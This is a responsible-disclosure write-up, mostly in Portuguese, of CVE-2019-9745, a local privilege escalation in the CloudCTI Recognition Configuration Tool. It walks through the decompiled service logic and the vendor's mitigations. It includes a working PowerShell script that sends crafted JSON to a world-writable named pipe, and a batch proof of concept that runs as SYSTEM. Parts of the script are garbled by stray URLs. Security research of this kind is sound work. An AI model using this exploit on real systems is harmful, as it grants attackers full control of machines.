kpn-ciso/cve-2019-9745Write-up sobre a vulnerabilidade CVE-2019-9745.
A criatividade está no cerne do teste de penetração, o que torna o nosso trabalho interessante. No entanto, uma armadilha é a tendência de 'superdimensionar' cenários de ataque e focar apenas em bugs (condições de erro). Falhas (comportamento não intencional) podem, no entanto, estar presentes com resultados igualmente devastadores. Este artigo fornece um estudo de caso para demonstrar a importância dos testes de penetração para tais falhas. Simultaneamente, defende a adoção de um processo de SDLC (Ciclo de Vida de Desenvolvimento Seguro).
O artigo faz parte da RD (divulgação responsável) da vulnerabilidade CVE-2019-9745 e foi escrito em estreita cooperação com o fornecedor CloudCTI. Apresenta uma visão geral de alto nível da vulnerabilidade antes de aprofundar os detalhes técnicos. Após demonstrar a exploração da vulnerabilidade, é fornecida uma conclusão com lições aprendidas.
A ferramenta CloudCTI Recognition Configuration Tool que examinamos durante um dos nossos testes de penetração é utilizada para recuperar informações de software de CRM (Gestão de Relacionamento com o Cliente). Isso fornece ao pessoal do centro de atendimento informações relevantes durante chamadas de clientes. Foram identificados vários problemas que podem ser encadeados para comprometer totalmente o sistema local. O fornecedor gostaria de salientar que isso não afeta sistemas de outros clientes nem os seus próprios.
Tal como acontece com muitas vulnerabilidades de segurança, um problema importante reside na validação de dados provenientes de fora da sua esfera de influência. Igualmente importante é a perceção de que os sistemas e o software operam em ambientes hostis. O tempo e a experiência ensinaram-nos que a escuta é uma ameaça na internet. O mesmo, no entanto, é válido para outros canais de comunicação, até mesmo dentro do próprio sistema. Isso foi fundamental para descobrir a vulnerabilidade.
Uma análise de causa raiz dos problemas encontrados mostra a importância de práticas como a TM (modelação de ameaças). A TM ajuda a identificar riscos nas fases iniciais de conceção e desenvolvimento. Isso pode levar à mitigação de riscos inaceitáveis ou à reformulação/reimplementação. Embora o leitor seja incentivado a realizar a sua própria análise, são fornecidas descrições das contramedidas do fornecedor para referência.
O software do fornecedor consiste em quatro aplicações que trabalham em conjunto. A primeira aplicação é a interface gráfica do utilizador (GUI). Esta permite ao utilizador iniciar a recuperação de informações de vários pacotes de software de CRM:
A GUI delega a recuperação de informações a um serviço (a segunda aplicação) através do envio de uma mensagem. As primeiras questões de segurança manifestam-se aqui: não só qualquer pessoa no sistema pode observar as mensagens entre a GUI e o serviço para determinar o seu formato e conteúdo (afetando a confidencialidade), como também pode enviar as suas próprias mensagens (afetando a autorização). Além disso, a origem das mensagens para o serviço não é verificada (afetando o não repúdio). Na terminologia de modelação de ameaças STRIDE, isto significa que o sistema está sujeito a divulgação de informações e adulteração. De facto, as informações obtidas dessas mensagens foram fundamentais para descobrir a vulnerabilidade.
A terceira aplicação é um dos muitos importadores especializados. O serviço transfere a recuperação de informações de um pacote de CRM específico para um importador específico. A mensagem enviada pela GUI contém instruções específicas para este importador. Observando o importador de CRM Exquise, verifica-se que a recuperação de informações é ainda delegada a uma aplicação externa (a quarta). Examinando a lógica interna do importador, descobriu-se que a aplicação externa podia ser especificada na mensagem entre a GUI e o serviço. O problema que aqui se manifesta é que a aplicação externa é executada sem verificar a sua identidade (afetando o não repúdio).
Ao encadear estes problemas, pudemos intercetar mensagens para determinar o seu formato e enviar uma mensagem na qual especificamos a nossa própria aplicação externa maliciosa. Essa aplicação externa é executada com os mesmos privilégios do importador/serviço. Como esses privilégios são os mais altos possíveis dentro do sistema, é alcançado o controlo total e o sistema fica comprometido.
Estes problemas são mitigados pelo fornecedor através da encriptação das mensagens (mitigando o problema de confidencialidade) com recurso a segredos partilhados únicos (mitigando o problema de autorização) que só podem ser acedidos pelos utilizadores do sistema autenticados que os possuem (mitigando o primeiro problema de não repúdio). Por fim, a aplicação externa é criptograficamente assinada (mitigando o segundo problema de não repúdio). A combinação destas medidas mitiga com sucesso a vulnerabilidade.
Quando a aplicação GUI CloudCTI Recognition Configuration Tool (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\CloudCTI Recognition Configuration Tool.exe) é instalada, é examinada com o Process Explorer. Isto revela que um serviço complementar (Recognition Update Client Service) é instalado e executado com direitos de NT AUTHORITY\SYSTEM:
Ao investigar o executável do serviço (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\RecognitionUpdateClientServiceService.exe), torna-se evidente que foi desenvolvido utilizando a linguagem de programação .NET. Este pode ser descompilado com o dnSpy para obter uma visão sobre a sua lógica interna, que será detalhada abaixo.
RUCS2017Service (o namespace interno .NET no executável do serviço) acaba por ser um invólucro fino à volta do namespace RUCS2017 (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\RUCS2017.dll). Este define um servidor de pipe nomeado chamado RUCS20151029 em RUCS2017.dll:RUCS2017.TRUCS2017:902:
Esse servidor de pipe nomeado é iniciado em RUCS2017.dll:RUCS2017.TRUCS2017:833:
O seguinte one-liner de Powershell é utilizado para confirmar que este pipe está de facto ativo no sistema:``` PS C:\Users\hacker> [System.IO.Directory]::GetFiles("\.\pipe\") |Select-String -Pattern "RUCS20151029"
\.\pipe\RUCS20151029
Usando [AccessChk](https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk), os direitos de acesso do pipe são examinados. Através disso, descobre-se que o pipe pode ser lido (*R*) e gravado (*W*) por qualquer usuário do sistema (*Everyone*):```
PS C:\Users\hacker> .\accesschk.exe \pipe\RUCS20151029
Accesschk v6.12 - Reports effective permissions for securable objects
Copyright (C) 2006-2017 Mark Russinovich
Sysinternals - www.sysinternals.com
\\.\Pipe\RUCS20151029
RW Everyone
RW BUILTIN\Administrators
Quando a funcionalidade Adicionar aplicativo na GUI é usada (veja Figura 01), o seguinte tráfego não criptografado é observado no pipe nomeado usando IO Ninja:
Isso contém os seguintes dados JSON:```JSON { "Command":"WizardGetData", "Params": { "ReturnSize":50, "DatasourceType":"exquise exporter", "DatasourceSettings": { "ExquiseFolder":"C:\Users\hacker\Desktop"} } ,"Id":"76037453" }
Processing of messages on the pipe is [event](https://docs.microsoft.com/en-us/dotnet/standard/events/) based and subscribed to in the constructor of the service at *RUCS2017.dll:RUCS2017.TRUCS2017:803*:
**<div style="text-align: right">Figura 06</div>**
In this function the JSON is first deserialized at *RUCS2017.dll:RUCS2017.TRUCS2017:267*:
**<div style="text-align: right">Figura 07</div>**
The specific logic for processing the *WizardGetData* JSON message structure can be found at *RUCS2017.dll:RUCS2017.TRUCS2017:315* under the *TFerbCommandType.WizardGetData* enumeration case:
**<div style="text-align: right">Figura 08</div>**
A task manager then starts a new thread at *RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:614* passing the parsed message structure:
**<div style="text-align: right">Figura 09</div>**
The *DatasourceType* (for a specific CRM package) is dynamically loaded at *RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:177*:
**<div style="text-align: right">Figura 10</div>**
Which loads the *.dll* file defined in *json.conf:17*:
**<div style="text-align: right">Figura 11</div>**
Further processing of the message is then delegated to the *C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\DatasourceExquiseExporter.dll* plugin at *RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:197* (*Figura 10*).
*CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource* is derived from *CloudCTI.Datasources.TextFile.RUS2015.TextFileDatasource* (*C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\DatasourceTextFile.dll*). This in turn is derived from *CloudCTI.Datasources.RUS2015.DatasourceBase* (*C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\CloudCTIReplicationDatasourcesClass.dll*). We find the implementation of the *GetData* method at *CloudCTI.Datasources.RUS2015.DatasourceBase:133* which calls *initializeDatasource* at *CloudCTI.Datasources.RUS2015.DatasourceBase:142*:
**<div style="text-align: right">Figura 12</div>**
This in turn calls *DatasourceInitialize* at *CloudCTI.Datasources.RUS2015.DatasourceBase:598*:
**<div style="text-align: right">Figura 13</div>**
First the JSON message is parsed at *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:24*:
**<div style="text-align: right">Figura 14</div>**
The structure of this message is defined in the *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterSettings* class. This class also contains the *ExporterApplication* property which is of great interest to us:
**<div style="text-align: right">Figura 15</div>**
At *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:29* (see *figura 14*) it is checked if the *ExporterApplication* is set in the message. If this is no the case a default application is used otherwise the external application from the message is used. <span style='color:red'>**This is where the vulnerability manifests itself**</span>. At *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:41* (see *Figura 14*) the *createExportFile* method is called which starts the previously determined external application (line *73*):
**<div style="text-align: right">Figura 16</div>**
# The exploit #
As the service process (*C:\Program Files (x86)\HIP Integrator\RUCS\RecognitionUpdateClientServiceService.exe*) runs with *NT AUTHORITY\SYSTEM* rights it has access to **all** facets of the system, which we now also have via the *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterSettings.ExporterApplication* property. When this is crafted into the message the following JSON template is the result:```JSON
{
"Command":"WizardGetData",
"Params":
{
"ReturnSize":RETURN_SIZE,
"DatasourceType":"exquise exporter",
"DatasourceSettings":
{
"ExquiseFolder":"FOLDER_NAME",
"ExporterApplication":"APPLICATION_NAME"
}
},
"Id":"RANDOM_VALUE"
}
Através de tentativa e erro, verifica-se que o ExporterApplication pode ser um script batch que não requer download de recursos adicionais e pode ser colocado em um diretório (de usuário) que está sob controle de um usuário com privilégios baixos (ou mais baixos). Como todos os usuários podem gravar no Named Pipe RUCS20151029, o seguinte script PowerShell é usado para enviar JSON elaborado para o named pipe:
CVE-2019-9745.ps1:```powershell
add-Type -assembly "System.Core"
New-Item -ItemType directory -Path data -Force > $null
Remove-Item -Path C:\Windows\Temp\exquiseexport.csv -Force -ErrorAction Ignore $pipeName = '\RUCS20151029'
$pipe = new-object System.IO.Pipes.NamedPipeClientStream( ".", $pipeName, [System.IO.Pipes.PipeDirection]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/HEAD/:InOut, [System.IO.Pipes.PipeOptions]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/HEAD/:Asynchronous, [System.Security.Principal.TokenImpersonationLevel]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/HEAD/:Anonymous ); $pipe.Connect(1000); $pipe.ReadMode = [System.IO.Pipes.PipeTransmissionMode]::Message; $pipeWriter = new-object System.IO.StreamWriter($pipe);
$payload = '{"Command":"WizardGetData","Params":{"ReturnSize":50,"DatasourceType":"exquise exporter","DatasourceSettings":{"ExquiseFolder":"C:\Users\hacker\exploit","ExporterApplication":"C:\Users\hacker\exploit\CVE-2019-9745.bat"}},"Id":"' + $(Get-Random) + '"}'
$payload = [System.Text.Encoding]::Unicode.GetBytes($payload)
$pipeWriter.Write($payload, 0, $payload.length); $pipeWriter.flush()
O seguinte script em lote é especificado na mensagem JSON como o aplicativo externo (*ExporterApplication*). Como prova de conceito, o nome do usuário que o executa é gravado em um arquivo. É claro que isso pode ser substituído por qualquer comando (sequência).
**CVE-2019-9745.bat**:```batch
@ECHO OFF
whoami > C:\Users\hacker\exploit\CVE-2019-9745.log
Quando a mensagem é enviada por um usuário normal (com privilégios baixos) (usando CVE-2019-9745.ps1), podemos de fato ver que CVE-2019-9745.bat é executado com privilégios elevados (NT Authority\SYSTEM):
Do ponto de vista de pentest, testar falhas na lógica (de negócios) de um sistema pode ser um investimento significativo de tempo. Como a maioria dos pentests são testes de caixa-preta (em oposição aos testes de caixa-branca), isso geralmente envolve engenharia reversa. No entanto, como foi demonstrado, falhas podem ser tão devastadoras quanto bugs. Por esse motivo, é fortemente recomendada uma abordagem em duas frentes que teste tanto bugs quanto falhas.
Do ponto de vista do fornecedor, é importante não apenas perguntar 'como nossos produtos podem ser usados', mas também 'como podem ser abusados'. O SDLC (Ciclo de Vida de Desenvolvimento Seguro) pode ajudar com a gestão de riscos durante os vários estágios do ciclo de vida de um produto: os requisitos de segurança, a arquitetura e um modelo de ameaças auxiliam a fase de design de alto e baixo nível. A análise de código estática/dinâmica e a revisão por pares auxiliam o processo de desenvolvimento. Por fim, o teste de penetração fornece uma auditoria (independente). Naturalmente, os resultados desses processos devem ser ponderados em relação ao apetite ao risco. Do ponto de vista financeiro, vários estudos (The Business Case for Security in the SDLC) concluíram que tratar defeitos (de segurança) nas fases iniciais do ciclo de vida de um produto é mais rentável do que a remediação. Isso significa que investir em SDLC pode reduzir o TCO (Custo Total de Propriedade) no longo prazo.
Integrando ambas as perspectivas, é importante continuar investindo em conscientização de segurança em todas as frentes por meio de treinamento e educação. Isso garante que todas as partes estejam atualizadas tanto sobre as oportunidades quanto sobre os riscos de segurança no domínio de TI, que continuam evoluindo rapidamente. Dessa forma, todos podemos contribuir para uma sociedade mais segura.
A pontuação CVSS que atribuímos a esta vulnerabilidade é 8.8 (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:H/RL:O/RC:C).